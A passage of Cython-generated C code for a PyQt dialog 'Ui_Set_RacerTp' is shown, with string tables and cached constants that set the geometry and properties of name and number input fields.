{&__pyx_n_s_setMaxLength, __pyx_k_setMaxLength, sizeof(__pyx_k_setMaxLength), 0, 0, 1, 1}, {&__pyx_n_s_setMinimumSize, __pyx_k_setMinimumSize, sizeof(__pyx_k_setMinimumSize), 0, 0, 1, 1}, {&__pyx_n_s_setModal, __pyx_k_setModal, sizeof(__pyx_k_setModal), 0, 0, 1, 1}, {&__pyx_n_s_setMouseTracking, __pyx_k_setMouseTracking, sizeof(__pyx_k_setMouseTracking), 0, 0, 1, 1}, {&__pyx_n_s_setObjectName, __pyx_k_setObjectName, sizeof(__pyx_k_setObjectName), 0, 0, 1, 1}, {&__pyx_n_s_setPlaceholderText, __pyx_k_setPlaceholderText, sizeof(__pyx_k_setPlaceholderText), 0, 0, 1, 1}, {&__pyx_n_s_setReadOnly, __pyx_k_setReadOnly, sizeof(__pyx_k_setReadOnly), 0, 0, 1, 1}, {&__pyx_n_s_setShortcut, __pyx_k_setShortcut, sizeof(__pyx_k_setShortcut), 0, 0, 1, 1}, {&__pyx_n_s_setStatusTip, __pyx_k_setStatusTip, sizeof(__pyx_k_setStatusTip), 0, 0, 1, 1}, {&__pyx_n_s_setText, __pyx_k_setText, sizeof(__pyx_k_setText), 0, 0, 1, 1}, {&__pyx_n_s_setToolTip, __pyx_k_setToolTip, sizeof(__pyx_k_setToolTip), 0, 0, 1, 1}, {&__pyx_n_s_setWindowTitle, __pyx_k_setWindowTitle, sizeof(__pyx_k_setWindowTitle), 0, 0, 1, 1}, {&__pyx_n_s_setupUi, __pyx_k_setupUi, sizeof(__pyx_k_setupUi), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_translate, __pyx_k_translate, sizeof(__pyx_k_translate), 0, 0, 1, 1}, {&__pyx_n_s_translate_2, __pyx_k_translate_2, sizeof(__pyx_k_translate_2), 0, 0, 1, 1}, {&__pyx_n_s_verticalLayout, __pyx_k_verticalLayout, sizeof(__pyx_k_verticalLayout), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayout, __pyx_k_verticalLayout, sizeof(__pyx_k_verticalLayout), 0, 1, 0, 1}, {&__pyx_n_s_verticalLayoutWidget, __pyx_k_verticalLayoutWidget, sizeof(__pyx_k_verticalLayoutWidget), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayoutWidget, __pyx_k_verticalLayoutWidget, sizeof(__pyx_k_verticalLayoutWidget), 0, 1, 0, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_object = __Pyx_GetBuiltinName(__pyx_n_s_object); if (!__pyx_builtin_object) __PYX_ERR(0, 11, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "Ui_Set_RacerTp.py":13 * class Ui_Set_RacerTp(object): * def setupUi(self, Set_RacerTp): * Set_RacerTp.setObjectName("Set_RacerTp") # <<<<<<<<<<<<<< * Set_RacerTp.resize(419, 114) * Set_RacerTp.setToolTip("") */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_n_u_Set_RacerTp); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "Ui_Set_RacerTp.py":14 * def setupUi(self, Set_RacerTp): * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) # <<<<<<<<<<<<<< * Set_RacerTp.setToolTip("") * Set_RacerTp.setAccessibleName("") */ __pyx_tuple__2 = PyTuple_Pack(2, __pyx_int_419, __pyx_int_114); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "Ui_Set_RacerTp.py":15 * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) * Set_RacerTp.setToolTip("") # <<<<<<<<<<<<<< * Set_RacerTp.setAccessibleName("") * Set_RacerTp.setAccessibleDescription("") */ __pyx_tuple__4 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "Ui_Set_RacerTp.py":16 * Set_RacerTp.resize(419, 114) * Set_RacerTp.setToolTip("") * Set_RacerTp.setAccessibleName("") # <<<<<<<<<<<<<< * Set_RacerTp.setAccessibleDescription("") * Set_RacerTp.setModal(True) */ __pyx_tuple__5 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); /* "Ui_Set_RacerTp.py":17 * Set_RacerTp.setToolTip("") * Set_RacerTp.setAccessibleName("") * Set_RacerTp.setAccessibleDescription("") # <<<<<<<<<<<<<< * Set_RacerTp.setModal(True) * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) */ __pyx_tuple__6 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); /* "Ui_Set_RacerTp.py":18 * Set_RacerTp.setAccessibleName("") * Set_RacerTp.setAccessibleDescription("") * Set_RacerTp.setModal(True) # <<<<<<<<<<<<<< * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_firstname.setEnabled(True) */ __pyx_tuple__7 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); /* "Ui_Set_RacerTp.py":20 * Set_RacerTp.setModal(True) * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_firstname.setEnabled(True) # <<<<<<<<<<<<<< * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) */ __pyx_tuple__8 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); /* "Ui_Set_RacerTp.py":21 * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_firstname.setEnabled(True) * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) # <<<<<<<<<<<<<< * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) * font = QtGui.QFont() */ __pyx_tuple__9 = PyTuple_Pack(4, __pyx_int_110, __pyx_int_32, __pyx_int_200, __pyx_int_23); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); /* "Ui_Set_RacerTp.py":22 * self.R_firstname.setEnabled(True) * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setKerning(False) */ __pyx_tuple__10 = PyTuple_Pack(2, __pyx_int_200, __pyx_int_0); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); /* "Ui_Set_RacerTp.py":24 * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) * font = QtGui.QFont() * font.setKerning(False) # <<<<<<<<<<<<<< * self.R_firstname.setFont(font) * self.R_firstname.setMouseTracking(False) */ __pyx_tuple__11 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); /* "Ui_Set_RacerTp.py":26 * font.setKerning(False) * self.R_firstname.setFont(font) * self.R_firstname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.R_firstname.setAcceptDrops(False) * self.R_firstname.setToolTip("") */ __pyx_tuple__12 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); /* "Ui_Set_RacerTp.py":27 * self.R_firstname.setFont(font) * self.R_firstname.setMouseTracking(False) * self.R_firstname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.R_firstname.setToolTip("") * self.R_firstname.setAccessibleName("") */ __pyx_tuple__13 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__13); __Pyx_GIVEREF(__pyx_tuple__13); /* "Ui_Set_RacerTp.py":28 * self.R_firstname.setMouseTracking(False) * self.R_firstname.setAcceptDrops(False) * self.R_firstname.setToolTip("") # <<<<<<<<<<<<<< * self.R_firstname.setAccessibleName("") * self.R_firstname.setAccessibleDescription("") */ __pyx_tuple__14 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__14); __Pyx_GIVEREF(__pyx_tuple__14); /* "Ui_Set_RacerTp.py":29 * self.R_firstname.setAcceptDrops(False) * self.R_firstname.setToolTip("") * self.R_firstname.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_firstname.setAccessibleDescription("") * self.R_firstname.setInputMask("") */ __pyx_tuple__15 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__15); __Pyx_GIVEREF(__pyx_tuple__15); /* "Ui_Set_RacerTp.py":30 * self.R_firstname.setToolTip("") * self.R_firstname.setAccessibleName("") * self.R_firstname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_firstname.setInputMask("") * self.R_firstname.setText("") */ __pyx_tuple__16 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); /* "Ui_Set_RacerTp.py":31 * self.R_firstname.setAccessibleName("") * self.R_firstname.setAccessibleDescription("") * self.R_firstname.setInputMask("") # <<<<<<<<<<<<<< * self.R_firstname.setText("") * self.R_firstname.setFrame(False) */ __pyx_tuple__17 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__17); __Pyx_GIVEREF(__pyx_tuple__17); /* "Ui_Set_RacerTp.py":32 * self.R_firstname.setAccessibleDescription("") * self.R_firstname.setInputMask("") * self.R_firstname.setText("") # <<<<<<<<<<<<<< * self.R_firstname.setFrame(False) * self.R_firstname.setReadOnly(True) */ __pyx_tuple__18 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); /* "Ui_Set_RacerTp.py":33 * self.R_firstname.setInputMask("") * self.R_firstname.setText("") * self.R_firstname.setFrame(False) # <<<<<<<<<<<<<< * self.R_firstname.setReadOnly(True) * self.R_firstname.setPlaceholderText("") */ __pyx_tuple__19 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); /* "Ui_Set_RacerTp.py":34 * self.R_firstname.setText("") * self.R_firstname.setFrame(False) * self.R_firstname.setReadOnly(True) # <<<<<<<<<<<<<< * self.R_firstname.setPlaceholderText("") * self.R_firstname.setObjectName("R_firstname") */ __pyx_tuple__20 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); /* "Ui_Set_RacerTp.py":35 * self.R_firstname.setFrame(False) * self.R_firstname.setReadOnly(True) * self.R_firstname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_firstname.setObjectName("R_firstname") * self.label_8 = QtWidgets.QLabel(Set_RacerTp) */ __pyx_tuple__21 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__21); __Pyx_GIVEREF(__pyx_tuple__21); /* "Ui_Set_RacerTp.py":36 * self.R_firstname.setReadOnly(True) * self.R_firstname.setPlaceholderText("") * self.R_firstname.setObjectName("R_firstname") # <<<<<<<<<<<<<< * self.label_8 = QtWidgets.QLabel(Set_RacerTp) * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) */ __pyx_tuple__22 = PyTuple_Pack(1, __pyx_n_u_R_firstname); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__22); __Pyx_GIVEREF(__pyx_tuple__22); /* "Ui_Set_RacerTp.py":38 * self.R_firstname.setObjectName("R_firstname") * self.label_8 = QtWidgets.QLabel(Set_RacerTp) * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) # <<<<<<<<<<<<<< * self.label_8.setObjectName("label_8") * self.label_6 = QtWidgets.QLabel(Set_RacerTp) */ __pyx_tuple__23 = PyTuple_Pack(4, __pyx_int_5, __pyx_int_70, __pyx_int_99, __pyx_int_23); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); /* "Ui_Set_RacerTp.py":39 * self.label_8 = QtWidgets.QLabel(Set_RacerTp) * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) * self.label_8.setObjectName("label_8") # <<<<<<<<<<<<<< * self.label_6 = QtWidgets.QLabel(Set_RacerTp) * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) */ __pyx_tuple__24 = PyTuple_Pack(1, __pyx_n_u_label_8); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); /* "Ui_Set_RacerTp.py":41 * self.label_8.setObjectName("label_8") * self.label_6 = QtWidgets.QLabel(Set_RacerTp) * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) # <<<<<<<<<<<<<< * self.label_6.setObjectName("label_6") * self.label = QtWidgets.QLabel(Set_RacerTp) */ __pyx_tuple__25 = PyTuple_Pack(4, __pyx_int_5, __pyx_int_32, __pyx_int_50, __pyx_int_23); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); /* "Ui_Set_RacerTp.py":42 * self.label_6 = QtWidgets.QLabel(Set_RacerTp) * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) * self.label_6.setObjectName("label_6") # <<<<<<<<<<<<<< * self.label = QtWidgets.QLabel(Set_RacerTp) * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) */ __pyx_tuple__26 = PyTuple_Pack(1, __pyx_n_u_label_6); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__26); __Pyx_GIVEREF(__pyx_tuple__26); /* "Ui_Set_RacerTp.py":44 * self.label_6.setObjectName("label_6") * self.label = QtWidgets.QLabel(Set_RacerTp) * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) # <<<<<<<<<<<<<< * self.label.setObjectName("label") * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) */ __pyx_tuple__27 = PyTuple_Pack(4, __pyx_int_5, __pyx_int_7, __pyx_int_31, __pyx_int_23); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); /* "Ui_Set_RacerTp.py":45 * self.label = QtWidgets.QLabel(Set_RacerTp) * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) * self.label.setObjectName("label") # <<<<<<<<<<<<<< * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) */ __pyx_tuple__28 = PyTuple_Pack(1, __pyx_n_u_label); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__28); __Pyx_GIVEREF(__pyx_tuple__28); /* "Ui_Set_RacerTp.py":47 * self.label.setObjectName("label") * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) # <<<<<<<<<<<<<< * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) * self.R_lastname.setMouseTracking(False) */ __pyx_tuple__29 = PyTuple_Pack(4, __pyx_int_110, __pyx_int_7, __pyx_int_201, __pyx_int_23); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__29); __Pyx_GIVEREF(__pyx_tuple__29); /* "Ui_Set_RacerTp.py":48 * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) # <<<<<<<<<<<<<< * self.R_lastname.setMouseTracking(False) * self.R_lastname.setAcceptDrops(False) */ __pyx_tuple__30 = PyTuple_Pack(2, __pyx_int_200, __pyx_int_0); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__30); __Pyx_GIVEREF(__pyx_tuple__30); /* "Ui_Set_RacerTp.py":49 * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) * self.R_lastname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.R_lastname.setAcceptDrops(False) * self.R_lastname.setToolTip("") */ __pyx_tuple__31 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__31); __Pyx_GIVEREF(__pyx_tuple__31); /* "Ui_Set_RacerTp.py":50 * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) * self.R_lastname.setMouseTracking(False) * self.R_lastname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.R_lastname.setToolTip("") * self.R_lastname.setAccessibleName("") */ __pyx_tuple__32 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__32); __Pyx_GIVEREF(__pyx_tuple__32); /* "Ui_Set_RacerTp.py":51 * self.R_lastname.setMouseTracking(False) * self.R_lastname.setAcceptDrops(False) * self.R_lastname.setToolTip("") # <<<<<<<<<<<<<< * self.R_lastname.setAccessibleName("") * self.R_lastname.setAccessibleDescription("") */ __pyx_tuple__33 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); /* "Ui_Set_RacerTp.py":52 * self.R_lastname.setAcceptDrops(False) * self.R_lastname.setToolTip("") * self.R_lastname.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_lastname.setAccessibleDescription("") * self.R_lastname.setInputMask("") */ __pyx_tuple__34 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__34); __Pyx_GIVEREF(__pyx_tuple__34); /* "Ui_Set_RacerTp.py":53 * self.R_lastname.setToolTip("") * self.R_lastname.setAccessibleName("") * self.R_lastname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_lastname.setInputMask("") * self.R_lastname.setText("") */ __pyx_tuple__35 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); /* "Ui_Set_RacerTp.py":54 * self.R_lastname.setAccessibleName("") * self.R_lastname.setAccessibleDescription("") * self.R_lastname.setInputMask("") # <<<<<<<<<<<<<< * self.R_lastname.setText("") * self.R_lastname.setFrame(False) */ __pyx_tuple__36 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__36); __Pyx_GIVEREF(__pyx_tuple__36); /* "Ui_Set_RacerTp.py":55 * self.R_lastname.setAccessibleDescription("") * self.R_lastname.setInputMask("") * self.R_lastname.setText("") # <<<<<<<<<<<<<< * self.R_lastname.setFrame(False) * self.R_lastname.setReadOnly(True) */ __pyx_tuple__37 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__37); __Pyx_GIVEREF(__pyx_tuple__37); /* "Ui_Set_RacerTp.py":56 * self.R_lastname.setInputMask("") * self.R_lastname.setText("") * self.R_lastname.setFrame(False) # <<<<<<<<<<<<<< * self.R_lastname.setReadOnly(True) * self.R_lastname.setPlaceholderText("") */ __pyx_tuple__38 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); /* "Ui_Set_RacerTp.py":57 * self.R_lastname.setText("") * self.R_lastname.setFrame(False) * self.R_lastname.setReadOnly(True) # <<<<<<<<<<<<<< * self.R_lastname.setPlaceholderText("") * self.R_lastname.setObjectName("R_lastname") */ __pyx_tuple__39 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__39); __Pyx_GIVEREF(__pyx_tuple__39); /* "Ui_Set_RacerTp.py":58 * self.R_lastname.setFrame(False) * self.R_lastname.setReadOnly(True) * self.R_lastname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_lastname.setObjectName("R_lastname") * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) */ __pyx_tuple__40 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__40); __Pyx_GIVEREF(__pyx_tuple__40); /* "Ui_Set_RacerTp.py":59 * self.R_lastname.setReadOnly(True) * self.R_lastname.setPlaceholderText("") * self.R_lastname.setObjectName("R_lastname") # <<<<<<<<<<<<<< * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) */ __pyx_tuple__41 = PyTuple_Pack(1, __pyx_n_u_R_lastname); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__41); __Pyx_GIVEREF(__pyx_tuple__41); /* "Ui_Set_RacerTp.py":61 * self.R_lastname.setObjectName("R_lastname") * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) # <<<<<<<<<<<<<< * self.R_number.setToolTip("") * self.R_number.setStatusTip("") */ __pyx_tuple__42 = PyTuple_Pack(4, __pyx_int_110, __pyx_int_70, __pyx_int_125, __pyx_int_23); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__42); __Pyx_GIVEREF(__pyx_tuple__42); /* "Ui_Set_RacerTp.py":62 * self.R_number = QtWidgets.QLineEdit(Set_RacerTp) * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) * self.R_number.setToolTip("") # <<<<<<<<<<<<<< * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") */ __pyx_tuple__43 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__43)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__43); __Pyx_GIVEREF(__pyx_tuple__43); /* "Ui_Set_RacerTp.py":63 * self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) * self.R_number.setToolTip("") * self.R_number.setStatusTip("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") */ __pyx_tuple__44 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__44)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__44); __Pyx_GIVEREF(__pyx_tuple__44); /* "Ui_Set_RacerTp.py":64 * self.R_number.setToolTip("") * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) */ __pyx_tuple__45 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__45)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__45); __Pyx_GIVEREF(__pyx_tuple__45); /* "Ui_Set_RacerTp.py":65 * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") */ __pyx_tuple__46 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__46)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__46); __Pyx_GIVEREF(__pyx_tuple__46); /* "Ui_Set_RacerTp.py":67 * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") # <<<<<<<<<<<<<< * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") */ __pyx_tuple__47 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__47)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__47); __Pyx_GIVEREF(__pyx_tuple__47); /* "Ui_Set_RacerTp.py":68 * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") * self.R_number.setMaxLength(5) # <<<<<<<<<<<<<< * self.R_number.setObjectName("R_number") * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) */ __pyx_tuple__48 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__48); __Pyx_GIVEREF(__pyx_tuple__48); /* "Ui_Set_RacerTp.py":69 * self.R_number.setText("") * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") # <<<<<<<<<<<<<< * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) */ __pyx_tuple__49 = PyTuple_Pack(1, __pyx_n_u_R_number); if (unlikely(!__pyx_tuple__49)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__49); __Pyx_GIVEREF(__pyx_tuple__49); /* "Ui_Set_RacerTp.py":71 * self.R_number.setObjectName("R_number") * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) */ __pyx_tuple__50 = PyTuple_Pack(4, __pyx_int_320, __pyx_int_10, __pyx_int_91, __pyx_int_80); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__50); __Pyx_GIVEREF(__pyx_tuple__50); /* "Ui_Set_RacerTp.py":72 * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) * 